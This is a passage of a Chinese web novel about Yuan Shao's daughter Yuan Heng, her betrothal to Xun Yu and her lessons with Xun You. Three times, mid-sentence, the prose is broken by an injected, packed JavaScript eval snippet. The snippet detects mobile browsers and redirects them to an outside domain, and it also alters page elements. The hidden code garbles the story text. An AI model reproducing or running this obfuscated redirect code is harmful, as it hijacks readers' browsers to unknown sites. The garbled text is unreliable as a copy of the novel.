荀彧笑得温文尔雅:“在其他士人前去规劝霍叔越之前,霍氏淑女的手不曾从刀柄上放开过。” 袁珩与蔡琰也注意到了这一点。 蔡琰从未和人讨论过这些,觉得很新鲜,当即补充:“她在倏尔抬高声音之前的低语没人听见,想来应是有意激怒父亲。” 荀攸也说:“她咬字过分清晰,绝非激烈失控之人能说出的话。” 说罢,三人极其自然地看向了袁珩。 袁珩:“……” 怎么,真当咱们是四个好homie,一起出来吃瓜聊八卦呢?你们全都一副“该你说了”的表情又是几个意思? 蔡琰还催上了:“阿珩,你说句话呀!” 袁珩假作震惊:“……哇,原来如此!我方才都没看出来呢!” 蔡琰、荀攸、荀彧诡异地沉默了片刻,而后齐齐笑出了声。 袁珩:你们礼貌吗? 荀彧收敛了笑意,以一种温和包容的姿态,似长辈一般循循善诱:“未央,‘孝道’从来是士人所提倡的鱼饵、捷径、利刃,是彼此都心知肚明的、可堪利用的工具。没有人会戳穿‘孝道’,扒开底下并不体面的真相……所以霍氏淑女是孝子,昭姬是孝子,天底下的士族皆是孝子,你也可以是孝子。” 蔡琰若有所思,醍醐灌顶。 荀攸突发耳聋,充耳不闻。 袁珩踟蹰片刻,认真地问他:“为何告诉我这些呢?” 毕竟最先提起“霍贞并非纯孝”的人正是荀彧。 荀彧想了想,说:“珩女公子年幼而神异,然慧极必伤。我心惶惶,若不言,多有亏欠。” 慧极必伤啊……袁珩努力压下记忆里痛苦的根源,满心都是对荀彧这个跨时代共振用词的感慨;来日若有史书记载,这便不再是脱胎于金庸作品的四字词语了,而是属于她的“典故”。 却又听得荀彧话锋一转——我心惶惶,若不言,多有亏欠。 袁珩心绪陡然一松:“‘慧极必伤’,故‘堵不如疏’?” 荀彧点点头,笑着打趣:“我与未央如今也算同盟,焉有置若罔闻的道理?且未央那日所言固然道听途说,但坦荡诚恳、毫无遮掩,而今我又何必故作姿态,矫饰言辞?” 袁珩:。 死去的回忆突然攻击她。 ……其实并未死去。 荀攸眼见着再不发声,场面或有失控,连忙对荀彧说:“快去捉大雁吧。” 荀彧笑吟吟地道了别,暂且离开了。 蔡琰又凑近了袁珩的耳朵,惊奇道:“阿珩,你刚刚的眼神好凶,只比那天晚上差一点!” 袁珩表情一顿,笑起来:“嗯,我下次注意。” 在部曲与侍女的拱卫中,荀攸走在前头,袁珩与蔡琰落后两步,继续偷偷咬耳朵。 蔡琰:“我明白你为什么担忧荀文若并非良配了,他说话怪吓人的!” 袁珩:“哦哦哦这个倒没事!我说话也不太好听!” 蔡琰:“哈哈哈哈阿珩真会说笑!你可是我见过嘴最甜的人之一了!” 袁珩:“……” 没能让昭姬你满意真是很抱歉了啊。 但与蔡琰的隐忧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790981|174954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相反,袁珩今日总算对这桩联姻安心许多。 在议婚之前,袁珩对青史留名的“荀令君”是好奇的,敬佩的,神往的。 而自从她知道要与之议婚,“身不由己”的惶恐与焦虑落到了实处,“被当作棋子”的愤怒与不平乍然爆发,“吾未壮”的不甘与无奈充斥在心头。 于是那些“荀令君”的滤镜与光环顿时碎了个稀巴烂,哪怕知道荀彧也做不了主,却也难免迁怒排斥,多有避之不及的表现。 可方才荀彧却摆明了告诉她:我们是可以彼此信任坦诚的同盟。 不是士族门阀的联姻,不是互为盾牌的工具;我如兄长一般照顾你、点拨你,不会因你的不妥言行耿耿于怀。 是从容的,也是包容的,更是歉疚的——他知道联姻一事对袁珩而言多有亏欠。 “士无不孝”,是通透敏锐的心性。 “同盟”之说,是机鉴先识的能力。 “我心惶惶”,是端正自持的品行。 把荀彧当成兄长以及盟友,确实是眼下最好的方法。 至于来日。 ……“吾未壮”之后,接的可是“壮则有变”啊! * 另一边的竹林里,孝子霍贞正在帮老父亲砍竹子。 霍岭手持一把刀扇,替她赶走蚊虫,心下熨帖,面上却皱眉:“费这力气做甚,为父用不上这么多。” 霍贞笑了一下,蜜色的肌肤与覆盖的薄肌与时下推崇的审美大相径庭,却在夕阳的余晖下迸发出别样的鲜活生命力。 “父亲不生气啦?” 霍岭:“……” 霍岭皮笑肉不笑:“为父正在感动,不要逼我动手,好吗?” 好的。 霍贞不说话了,把砍下来的竹子放到一处,仔细挑选一番,而后小心处理掉毛刺与枝叶,又打磨得表面光滑。 霍岭也不说话了,继续帮她驱赶蚊虫。 直至夜色微垂,他才突兀开口:“含章方才可曾注意到荀氏家眷?” 霍贞抬起头,一脸茫然:“谁是荀氏?” 霍岭:“……” 霍岭深吸一口气,耐着性子解释:“离我们最远的三架车马——方才你还问我,那两名男子长得如美玉一般,为何喂马梳毛的动作却状若痴呆。” 霍贞“哦哦”一声,回忆了一下,不太确定地问:“荀氏家眷,是那两名垂髫年纪的淑女?年纪小一点儿的像狸奴,很灵动,一股机敏劲儿;稍年长的那个像白狐,看着很矜贵,一笑起来却心眼很多的样子……” 霍岭:“……” 他受够了霍贞既诡异又精确的形容。 霍贞还没说完。 她有些疑惑:“她们当真是荀氏女?我觉得根本不像。若没猜错,小狐狸应是出身顶级富贵门阀,小狸奴像是长在潜心治学之家。荀氏乃士族,虽不及门阀高调,却也不会全然避世不出,怎会教养出这样的女郎?” 霍岭抬眼看她,不知道第几次由衷感叹:“你这般天赋,当真不随我治《易》?” 霍贞熟练拒绝:“我能看出来,是因为我长了眼睛,与天赋无关。” 又嘟哝道:“治《易》、谶纬、方术与欺骗何异?世人都说您为我起名‘贞’,意在表性情;然——含章可贞,或从王事,无成有终。况且您方才那一出跟真的一样,差点连我都骗过去,以为您真生气了,吓得儿险些拔刀……” “含章可贞”,坤卦六三爻辞:含蓄处事而持其美德,等待时机发挥,若辅佐君王,即使一时无成,也终有功名。 霍岭忍无可忍,手中用以驱赶蚊虫的刀扇拍在了霍贞脑门上:“就你长了嘴会说话?!我这都是为了谁?你要投效武遂公主,总得有点儿好名声吧?” 霍贞连连认错。 霍岭又忍不住说:“小狐狸的面相,很了不得啊。” 霍岭顿了顿,声音很轻:“这么说吧。若逢风雨如晦之际,她当是令王朝失鹿之虎豹;若逢见龙在田之时,她便是凭高才从龙之凤鸾。” 霍贞不以为意:“您先前也是这么说武遂公主的,道甚‘开千秋之伟业者也,惜乎潜龙在渊’,结果呢?人家转头当您是骗子,您差点儿把命留在安平国。” 霍岭心想,正因为武遂公主知道他不是骗子,他才险些丢了命。 若非生死之际灵机一动,为她当场起卦,卜出了“美人如珩,出高门而入世,今怀才不遇,盼神女低眉”的结果,怕是不死也要脱层皮。 彼时年轻的公主闻言,微微一愣。 而后不知想到了什么,有些怅然地叹了口气。 素来自持而喜怒不形于色的武遂公主竟状似紧张地理了理襟袖,喃喃出声:“……原来是她。” 7. 颇有急智袁未央 待到归家的时辰,四个人都各有收获。 蔡琰将荀彧的“士无不孝”论牢牢记住,频频回味,还与袁珩一起跟霍贞互通了姓名家世,得知霍贞即将往安平国信都去,又当场作了首思友诗,诗末特地提了一句非常要好的新朋友袁珩,托霍贞带给武遂公主。 荀攸结交了许多外地名士、本地新秀,尤其对邺县名士霍岭,以及颍川郭氏一名总角年纪的奇童赞不绝口,还用作例子卷袁珩。 “郭嘉只长你两岁,心有大志而潜心研学,听说他已能通读五经,近来还在钻研兵权谋与兵形势。我也不会揠苗助长,令你现在就读兵书,但我发现你对《春秋》颇有些排斥,这可不成……” 袁珩:“……” 继荀令君的光环破碎,郭祭酒顺利成为袁珩的童年阴影。 刻在中国人数千年基因的怪谈:别人家的孩子。 最可怕的是,哪怕你自己已经是别人家的孩子了,长辈永远能再给你扒拉一个别人家的孩子出来…… 袁珩冷着脸想,今晚这么多她的同龄人,荀攸为什么精准找出了郭嘉这个鬼才! 难道这就是你们曹营人特有的羁绊? ……等等,不对。 袁珩忽在此刻回过味来,她这个袁绍长女好像被曹营包围了。 虽然本来袁绍与曹操就是好友,据说袁珩小时候曹操还抱过她;但袁珩实际上没有见过她父亲口中“仗义不羁,有豪侠之风”的“孟德世叔”,这与直接住在曹营谋士老窝(划掉)颍川完全是两种体验。 他们都是曹操班底核心中的核心,某些人都经历过弃袁绍投曹操,还有极个别人堪称曹营白月光。 她如是对系统感慨了一番,系统却并不认同,坚称是她一个人包围了曹营核心——曹操的两位荀令,如今一个是袁珩未婚夫,一个是袁珩恩师,只要她愿意,她便能悄无声息灭掉曹操心腹! 袁珩:【……不是,哪怕是我,都觉得你有点偏激了哈。】 那边,曹营白月光·荀彧成功捉了一只膘肥体壮的活雁,置于竹笼之中,还用树根雕刻打磨了一个小玩意,送给了袁珩。 袁珩拿在手里观察片刻,实在没能看出这是什么物种,只能开启糊弄模式:“世兄好刀工,竟如此栩栩如生!” 荀彧微微讶异:“……可他们都说雕得不好,浑然不似兔子。” 袁珩错愕反问:“这哪里是兔子?” 她一边说,一边状似镇定地快速运转大脑,丝滑接下去:“分明是木桃呀。” “投之以木桃,报之以琼瑶,匪报也,永以为好也”——嗯,退可为结盟之示好,进可为联姻之往来,不管在自己人还是外人面前,都有一套完美且不失礼的说法。 不愧是你,荀文若。 荀彧这下更加惊奇了,不像演的。 他“嗯”了一声,对袁珩夸赞道:“未央颇有急智!” 袁珩面不改色,只是戳了戳系统:【能检索关键词为“荀彧”的词条吗?八月中旬了,是时候造谣了。】 系统好似一个熊家长,闻言不仅自发开创了【野史-荀彧】板块,还提出建议:【客户如今与荀彧关系匪浅,有关他的词条推荐指数全部是5。客户可以用来刷成就点,还有不到三个月,商城会迎来一年一度激动人心的双十一折扣活动,建议提前攒一攒。】 袁珩心情顿时舒畅,抬头冲荀彧笑了笑:“我哪里有急智?分明是世兄雕工大巧若拙,易于辨认。” 旁边的蔡琰看得叹为观止,袁珩的心态真的很稳啊! 但她不知道,那是因为有别人的清白在替她的心态负重前行。 荀彧却忽然微笑起来,眉眼弯弯,低声:“其实,这真就是兔子。” 袁珩:“……” 袁珩:“…………” 荀攸忍无可忍,截过了话头:“叔父如今也取了表字,当稳重自持才是。” 时下士族多有及冠前取字的习惯,是为出仕与养望做准备。 无需中译中,大家都明白荀攸这是看不惯荀彧逗小孩儿了,尤其这孩子姓袁名珩,还是他荀公达的学生。 荀彧虽是长辈,但荀攸更年长,两人偶尔是共轭叔侄,而这一次,很显然轮到荀彧暂退为晚辈。 返程路上袁珩依然与蔡琰同乘,蔡琰有些疲倦了,脑袋搭在袁珩的肩头,任马车颠簸,睡得却安心。 忽而越过泥泞石子,蔡琰猝然惊醒,迷蒙地看向四周,又在目光触及到袁珩时有些赧然,轻声:“哎呀,今天好累……” 袁珩:“再睡会儿?快到了我叫你。” 蔡琰便又继续枕着她的肩休憩了。 袁珩替她捋了捋头发,而后抬眼盯着车顶,神游天外、漫无边际地想—— 昭姬,你在匈奴颠沛流离的一十二载、归汉后身不由己的哀哀半生,成就了《胡笳十八拍》与《悲愤诗》之绝响,可这样的青史留名,当真是你想要的么? 若有可能,我多希望你此生最颠簸的时候,便只在光和三年秋夕的荀氏车马之中。 * 荀氏府中,袁绍与袁基保持着高质量沉默,与荀爽、荀绲坐在院中,安静得像是身处坟场。 据说人在尴尬的时候总会莫名其妙很忙,一秒八百个小动作,但在场的没有普通人,都很沉得住气,不知道的还以为哑巴开会呢。 最终还是袁绍先忍不住,不顾自己还在人家府中做客,看向袁基:“大兄是否有事瞒着我?” 袁基心平气和地看他一眼:“本初,这就是你的为客之道?” 袁绍觉得更不对劲了。 他又问:“我们在等什么人?未央多久回来?” 袁基叹了口气。 而后耐心道:“在等文若世侄。” 袁绍不妙的预感落了地,却仍带有一丝侥幸:“若是考校学问,那我便先行离……” 被袁基一个凌厉眼刀中止。 而后袁基有些歉疚地对荀氏两兄弟道:“抱歉,本初禁步碎了,我且先带他去换新的,失陪。” 袁绍低头看着完好无损的禁步,知道袁基只是想找个借口私聊,但这借口是否太拙劣了些? 袁基与袁绍入室内去了。 荀爽清了清嗓子,看向荀绲:“二兄。” 荀绲知道他想说什么,自己也颇为一言难尽:“袁公业这是故意摆给我们看呢。他下午与袁本初密谈许久,偏联姻一事要放在此时提起,故令其色厉胆薄一览无遗,可同样也将袁氏内矛盾暴露,伤敌一千、自损八百啊。” 荀爽却另有看法:“正因袁本初色厉胆薄,袁公业才有这一出。若不然,来日袁氏兄弟阋墙,因袁珩之故,文若难免为难。” 荀绲呵呵冷笑一声:“或许你我会难做,但文若,甚至袁珩本人,绝非多端寡要之辈。” 这边荀氏兄弟还算和睦,室内的袁氏兄弟却吵得天翻地覆。 袁绍气得原地转圈:“就算——就算大兄要断了我的筹划,便不能先与我私下商议?!哪怕要替未央择婿……苍天,她才八岁,你便给她定了婚约,你还是人吗?!” 袁基冷笑:“此时不与荀氏联姻,莫非等你犯蠢将未央嫁与皇子?若非你色厉胆薄,未央本不至于到这地步!” 说袁绍胆子大吧,他又被“失鹿之虎豹,从龙之凤鸾”吓得失去理智。 说他胆子小吧,他又盘算着把袁珩嫁给皇子,全然不顾整个袁氏的死活。 袁绍一噎,而后退一步讲:“好,就算如此,为何是荀文若?他固然有才名美名,但他都快十五了!哪怕袁氏再与杨氏亲上加亲,也好过他荀彧!譬如小妹的那个孩子——杨修!杨修如今五岁,又是表亲,哪里不比荀彧合适?” 又深觉荒谬,大为破防:“我才年长荀彧多少岁啊?少时见过一回,那会儿他喊我都还是世兄呢!” 袁基吵架从来不自证,只攻不防:“不管如今谁是谁的世兄,那不都是你作的孽?” 顿了顿,语气软化:“行了,闹成这样有意思么?未央生有神异,来日这婚事究竟如何还是两说。我已与荀氏约定,她十六之前不会完婚,荀文若也须得洁身自好,未央不是会吃亏的性情,我也不肯叫她受委屈的。” 又喂了颗甜枣:“未央虽已过继给我,但她有多孝顺你也知道,怎会轻易断绝与你这生父的感情?我也并非无情之辈,往后她还是唤你阿父,唤我便是父亲;教养学习一应由我做主,逢年过节便回你那边小住。” 袁绍:“……” 袁绍:“…………” 他有火发不出,袁基这几套说辞跟软刀子似的,乍一听全是皆大欢喜的考量,但不能作细想,字里行间全是令袁绍懊悔且无力的暗讽。 片刻,他终究还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790982|174954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妥协了,算是默认此事。 只是格外郑重地对袁基说:“……我或许当真教不了、也教不好她,然爱子之心,绝无半分虚假。来日我儿若有行差踏错之时,还望大兄勿要不教而诛;若有不可挽回的罅隙,更勿要放任生厌,且将我的女儿还给她的阿父。” 袁基这才露出一个真切笑意。 “大善。这话听起来,倒像是一名父亲了。” * 次日,袁基前往颍川置办的别庄居住,既方便之后的六礼流程,又能继续守孝;虽按说袁逢病故,作为新孙女的袁珩也得服齐衰孝一年,不能议婚,但—— 拜托,门阀士族的政治联姻有的是手段和力气,先行纳采、问名、纳吉还是没问题的,孝道岂是如此不便之物! 这是一个离别之日。 蔡邕与蔡琰离开了。 袁绍也离开了。 袁绍走时欲接陈越秋同归,陈越秋却拒绝:“妾母亲病重,恐时日无多。郎君且先返家去,重阳前妾自会还京。” 她这么一说,袁绍当然不能勉强;且他心里清楚,陈越秋分明是放心不下袁珩,毕竟她客居颍川,连个女性长辈也没有。 袁绍便说:“既如此,那重阳前我再派遣车马来接你与未央。” 重阳是正经节庆,未央自然是该跟自己回去的。 陈越秋含泪辞别了袁绍,又依依不舍目送他的车马离开,一直到彻底看不见。 她拭去眼泪,露出一个兴致勃勃的笑容,转身对身边侍女比划:“新做的冬衣可都收好了?未央喜爱朱红色,郎君给的白狐皮恰好很相配,不如再赶一件狐领的大氅……” 侍女咳了咳:“夫人,人多眼杂。” 请您多演一会儿。 陈越秋一顿,而后调整到了合适的表情,轻声:“……嗯。” 又转移话题,关切地看向侍女:“潇湘,昨日听你说起老家荆州生疫,你家中可还安好?” 潇湘家中本算是寒门,自小读书识字,然数年前一场大疫后仅剩她与母亲、长嫂、侄儿得存。 后来兜兜转转孤身到了汝南,入袁氏为婢,恰逢陈越秋想学习认字,便点了她跟从。 陈越秋不知她原本姓名,只知她荆州老家还有几个血亲,如今听说那边又生疫病,难免关切一二。 潇湘:“劳夫人挂念,阿母信中言说有太平道人途径乡里,符水以赠,救了侄儿一命。” 陈越秋并不深究“太平道人”是谁,做了什么,只是轻快地笑起来:“救回来便好。往后要么将她们接来颍川与我娘家作伴?也免得时常挂念而不得见。” 潇湘莞尔,摇摇头:“家母年迈,哪里扛得住路途遥远呢?” 陈越秋也反应过来自己所说的不合时宜——年迈倒是其次,如今四处天灾,还有流民山匪之乱,老妪妇孺跋涉山水,岂止“路途遥远”这样的阻碍? 因心生感慨,晌午后陈越秋去荀氏府上看望袁珩时,便提起了潇湘的事情。 袁珩正在被迫学习《春秋》,学得很痛苦;但她痛苦,指点她课业的系统比她更痛苦。 系统觉得自己的代码都快崩溃了:【这是智慧为92的人能写出来的东西?客户快醒醒,别说梦话了——问你为什么不记录隐公即位,问你对此有什么看法而已,很难吗?】 气得跳脚:【《春秋公羊传》都告诉你答案了,说“何以不言即位?成公意也”,你就老老实实围绕礼法、君臣、尊卑来说,这是什么很困难的事情吗?】 为什么要大谈特谈“让隐公名正言顺即位的七十二种方法”? 袁珩看系统这么崩溃,心里一下子舒服多了:【我第一次见你这么生气,越来越有人样啦,统!】 系统:【……】 系统哽咽:【客户,你好好攒一攒积分,答应我,之后买一份名师一对一《春秋》课程,好吗?】 不好。 一人一统静默无言,陈越秋的到来堪称救赎,尤其当她提起“太平道”。 “……那日我也听窦夫人说过,先前她随荀仲慈在济南国时,乡间也有太平道盛行。”陈越秋说者无心,然袁珩听者有意,“听说信众很多呢。” 袁珩微微愣住。 自动捕捉关键词:太平道。 运转生成结果:黄巾之乱。 或者说——黄巾起义! 8. 身体异常赵常侍 次日进学时,袁珩不等荀攸开讲,先发制人:“先生如何看民间太平道盛行之事?” 荀攸垂眼看了看手中《春秋公羊传》,合理高度怀疑袁珩在转移话题。 ……还有,到底谁是老师,谁在问谁? 但袁珩清澈的眼里流露出了那样真切的求知欲,荀攸没办法,只能暂时放下鸡娃计划。 “你想问的,是太平道因何盛行,还是太平道如何盛行?” 袁珩想了想,回答:“都有。” 以后世视角看张角与太平道,是从“民”的角度,所以后世称之为黄巾起义,而非黄巾之乱。 袁珩想知道的,是士人阶级如何看待它。 荀攸慢吞吞看了眼袁珩,而后说了一句叫袁珩脊背生寒的话来。 “那么,我便以士族身份回答你的问题。” 袁珩:“……” 袁珩面色不变,嘴甜道:“请先生赐教。” “圣贤已死,故经典不能教化黎庶;豺狼当道,故朝政昏昏不能安民。太平道能盛行民间,既是官僚豪强的权术,也是苍生的自救。此为‘因何盛行’。” 荀攸微微一顿,才继续:“如何盛行?人生而有欲。官僚之欲为权,豪强之欲为势,黎庶之欲为生。太平道如今所作所为,能助官僚行权,护豪强处势,使黎庶聊生。又其行走黔首之间,故官僚豪强不以为意。” 寄托信仰于宗教,是乱世的写照之一。 若时政清明,官僚作为,黔首又怎会寄希望于鬼神呢? 君不见数百年后,“南朝四百八十寺,多少楼台烟雨中”。 袁珩:“以先生之见,此乃长久之道否?” 荀攸斩钉截铁:“势必生乱耳!” “乱起于何处?是民不聊生而乱?若生乱,又乱至何等地步?” 荀攸目光陡然一厉,却稍纵即逝,仿若错觉。 他一时没有作答,似是陷入沉思。 袁珩眼睛眨也不眨,追问:“先生乃荀子之后。荀子云‘君者,舟也;庶人者,水也。水则载舟,水则覆舟’。君舟民水,此先生祖宗圣言也,先生缘何不答?” 荀攸:“……” 荀攸欲言又止,不是因为袁珩如此无礼,也不是因为自己被学生逼问得失语。 他只是在这一刻,微妙地共情了袁绍。 这小崽子真是什么都敢说! 同时荀攸也恍然大悟,袁珩哪里是学不明白《春秋》,她明白得很,她就是单纯不喜欢! 荀攸很快冷静下来,心平气和地对袁珩道:“罚笞手三下,你可有异议?” 时下师长惩罚学生,出身士族的最多挨三下,还需要把教刑尺用布裹起来卸力,但袁珩亲眼看见,荀攸专程拆掉了竹尺上的布条。 袁珩:“……” 袁珩不答反问:“是因为珩不曾尊师重道吗?” 荀攸却摇头,郑重而严肃:“是因为你在自己不能承担相应后果时,言行失度。” 袁珩一愣,而后心服口服。 她端正神色、伸出手心,生生挨了三下没有弱化的笞罚。 今日的讲学是讲不下去了。 荀攸又令袁珩闭门思过一日,并给了她爱看的《春秋》和三份课业,袁珩流下了喜极而泣的泪水。 荀攸离开之前,袁珩又叫住了他,抹了抹已经干涸的眼泪,零帧起手。 “昨日在县郊,珩闻说当今天子亲近宦官另有内情,认常侍赵忠为母也绝非夸张。赵忠的身体其实异于常人,当年与先帝有过一段风流韵事,生下当今后为避□□言,只能先记在孝仁皇帝名下,后头才特地接回洛阳即位……” 荀攸:“……” 荀攸:“…………” 荀攸:“………………” 荀攸闻言,眼前一黑! 刚刚是我的学生在说话吗? 是我那族中四世三公、天资良材美质、尚在垂髫之年、从龙凤鸾之才的学生在说话吗? 真不是她衣裳上的红宝石成了精突然开口? 荀攸晃了一下,勉强扶住了门才没昏厥过去。 他有些麻木地想,为何我生下来就长了这双耳朵呢? 这段话太过炸裂,以致荀攸呆滞许久才找回了理智。 系统还在疑惑:【该词条虽然属于高级项目,但推荐指数仅为1,客户这样做很不划算。】 袁珩:【……我还是怀疑你嫉妒我活得太顺遂。】 那不然我跑去刘宏和赵忠面前说? 其实袁珩这么做也是经过深思熟虑的——有的词条是真不能贴脸开大,不然试试就逝世,与其放着落灰,不如趁自己还有孩子buff的时候早些完成,成就点有多少算多少。 荀攸回过神后第一件事,是问袁珩:“这是谁同你说的?” 正如袁珩所料,他不觉得袁珩能自己想出这种非人的谣言。 袁珩再怎么聪明,也对男女之事一窍不通,怎么会揣测赵忠是……呃,这种情况! 于是荀攸笃定是别人说的,且不可能这般详实;但袁珩记性好、悟性高,自然而然便补全了谣言的完整度。 袁珩无辜地看着荀攸,似懂非懂,天真烂漫:“先生,赵忠身体异于常人是什么意思?” 荀攸:“……” 荀攸拳头一紧。 他艰难地扬起唇角,不再追问袁珩是从哪儿听来的,用尽毕生力气才保持住了和蔼的笑容:“这话往后不能再说了。” 略顿了顿,加重语气:“妄议天子是大罪,明白吗?” 嘴上一派严肃威仪,心里却苦苦哀求神仙庇佑,切莫让袁珩再追问了! 有求必应的不是神仙,而是善良的袁珩;袁珩当即点头:“是珩之过。珩自请闭门思过三日。” 荀攸竟诡异地感到了欣慰——我们未央还是知错能改的,至于别的,慢慢教也就是了。 自然是答应了袁珩的请求。 只是荀攸难免将那个……呃,记在心里,心事重重,迟疑许久,最终选择同自己的妻子隐晦提起此事。 荀攸的妻子出身颍川陈氏,正是陈寔的孙女,本就是通家之好、总角之交,结为夫妻也是顺理成章。 而值得一提的是,陈越秋便与颍川陈氏沾亲带故,只是关系有些偏远,故不常走动——荀攸打的主意,就是叫自己的妻子与陈夫人通个气儿,有的事情还是得教孩子的。 荀攸暗示陈妙:“未央幼年失恃,慧姬如今既是这孩子的师母,可与她多亲近些。” 陈妙略一想,便隐隐猜到了什么,只是袁珩另有抚养她的慈母在,闺阁教养一事总不好越俎代庖…… 她心领神会:“说起来陈夫人也算是我族妹,如今都在颍川,很该走动一二。” 荀攸闻言,大大地安了心! 而后又不免忧心忡忡地想:袁氏把好好一个从龙之才送到荀氏学习,如今却仿佛教出了亿点小问题…… 荀攸头皮发麻。 * 系统:【我还以为荀攸会晕过去。】 袁珩意犹未尽:【如果老师真的晕过去了,恐怕能拿更高的评分吧?】 系统:【……】 有时候它也会怀疑,它和袁珩到底谁不是人。 系统也没想到自己还有转移话题的一天,诚如袁珩所说,它越来越像人了,但这绝非因为它足够智能:【客户这三天打算怎样度过?】 袁珩托着下巴想了想,跃跃欲试:【想写一篇谈论孝道的文章。若干年后等我死了,再把我和武遂公主、昭姬、霍贞的孝子行为真相刻在棺材里,还能收集点儿别人的……然后等着被考古,嘿嘿……】 系统:【……】 系统:【客户的三份课业不打算写了,是吗?】 袁珩迟疑着问:【你是人工智能,就不能帮我跑出来?】 系统震撼,她好熟练,居然用的“跑”字。 系统拒绝:【抱歉,这不符合规定。】 袁珩颇为遗憾。 是夜,袁珩挑灯夜战,三个时辰憋出三百字。 是夜,系统精疲力尽,五味杂陈地写着工作日志。 “这是我带的第一个客户,我曾经也想过抱着她跳楼……” * 三天之期已到,袁珩成功出狱,带着她忍气吞声写好的三份课业。 第一份是基础题(只有荀攸这么认为),以纯粹的《左传》《公羊》双视角释义《春秋》桓公篇。 第二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790983|174954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份是进阶题,积极【重音】辩论古文与今文的核心,并积极【重音】阐述《左传》与《公羊》如何兴盛。 第三份是应用题,问袁珩如何说服当权者施行善政,划重点:只能援引《春秋》及二传。 荀攸看过袁珩的课业,颇觉惊奇地看着她:“原来是可以写得这样好的!” 袁珩:“……” 原来您根本没指望我写出来吗?! 她表情一时没能藏住,荀攸不由笑出声,却是很满意的模样,感慨道:“第三份课业尤为出众……未央若能入仕该多好?” 袁珩没应声,她知道荀攸并非看不起自己,而是实打实地惋惜——若换成蔡琰他便不会这样说,因为治学与从政是完全不同的两条路。 一个是难不难,另一个却是能不能。 袁珩本想说,乱世将至,汉室将倾,届时或许我当真能搏出一条出路;可那日荀攸的教导仍铭记心头,她最终还是保持了沉默。 对于国祚四百年有余、几经断代而又复起的大汉君臣百姓而言,天下分裂、汉祚将终是一件堪称荒谬的事情。 这无关学识与见地,无关地位与身份,身在局中者,就算看清局势也会压在心里,抱着或侥幸或怀疑的心态继续生存。 袁珩不想被打成异端,只能故作强颜欢笑的模样安慰荀攸:“焉知来日没有出路呢?” 荀攸倒是后悔起来,觉得自己失言,也有意叫袁珩好受一些,轻快地笑了笑:“明日请叔父带你去城中闲逛一二?你已闭门三日,若闷坏了,你父亲怕是要打上门来。” 昨日两家已行了“纳采”礼,现在又开始忙着准备“问名”与“纳吉”;还是那句话,有空带孩子的只有荀彧。 能出去玩就是好事,管他谁带呢——袁珩欢欢喜喜应了,走路的时候都没忍住蹦了几下。 系统也松了口气,只要袁珩不是一个人待着就好,否则它会被骚扰到崩溃。 可惜袁珩这份轻松没能撑到过夜。 飧食后陈越秋与陈妙相携而来,左一个右一个拉着袁珩坐在胡床上,都是一副要促膝谈心的驾势。 袁珩是第二次见陈妙,这位师母喜好风雅,颇精书法与琴艺,但她不爱热闹,只在拜师次日私下见了袁珩一回。 在这样的前提下,袁珩便不由觉得恐怕出了什么很要紧的事,不然师母怎么走了这么远的路程,跨越了足足四个院子。 袁珩心下一瞬划过许多念头。 什么荀攸忽然晕厥了现在还没醒过来啊,袁基突然又要折腾荀彧所以来找她说情啊…… 却没想到先行开口的是陈越秋,哽咽着将她搂进怀里:“是我不好,是我疏忽了……” 袁珩愣了愣,下意识靠进陈越秋怀里,略显茫然:“夫人这是怎么了?” 陈越秋拍了拍她的背,低声:“未央竟于男女之别一无所知……” 袁珩:“嗯?” 是她空耳了吗? 陈妙见状,微微叹了口气:“未央身边,还得配一名年长稳重又知事的侍女才行。” 陈越秋年轻,另一名夫人李明月与她同岁,袁绍自己更是生母早逝,故而家中还真没德高望重的长辈能教养女孩儿。 尤其当袁珩这个女儿比儿子出息得多,袁绍反而觉得教她女红、内则纯属浪费,便不曾考虑过这一方面。 随着陈越秋和陈妙你委婉一句我隐晦一句,袁珩总算摸清了其中内情,而后:“……” 袁珩感到尴尬,并为此破大防——荀公达,你管得太宽了! 浑然不在意是她先狠狠地创了荀攸。 好不容易糊弄完这一茬,两位夫人千叮咛万嘱咐地离开;那边荀彧又遣人来递口信,说明日朝食之后相见,一起去看乐舞百戏。 袁珩上一次看这类表演还是去岁元旦,脸上刚露出兴高采烈的笑意,还没来得及应下,荀彧那边又遣人来了。 大概是说——荀爽路过听说了此事,认为有玩物丧志的嫌疑,所以推荐他们去拜访颍川郭氏那位小郎君探讨学问,同时建议他们多住一段时间算是游学。 袁珩的笑容凝固,继而消失得无影无踪。 她面无表情:“知道了。” 荀慈明——你也管得太宽了! 9. 泥菩萨与玉仙子 袁珩冷着脸穿衣洗漱。 袁珩冷着脸用了朝食。 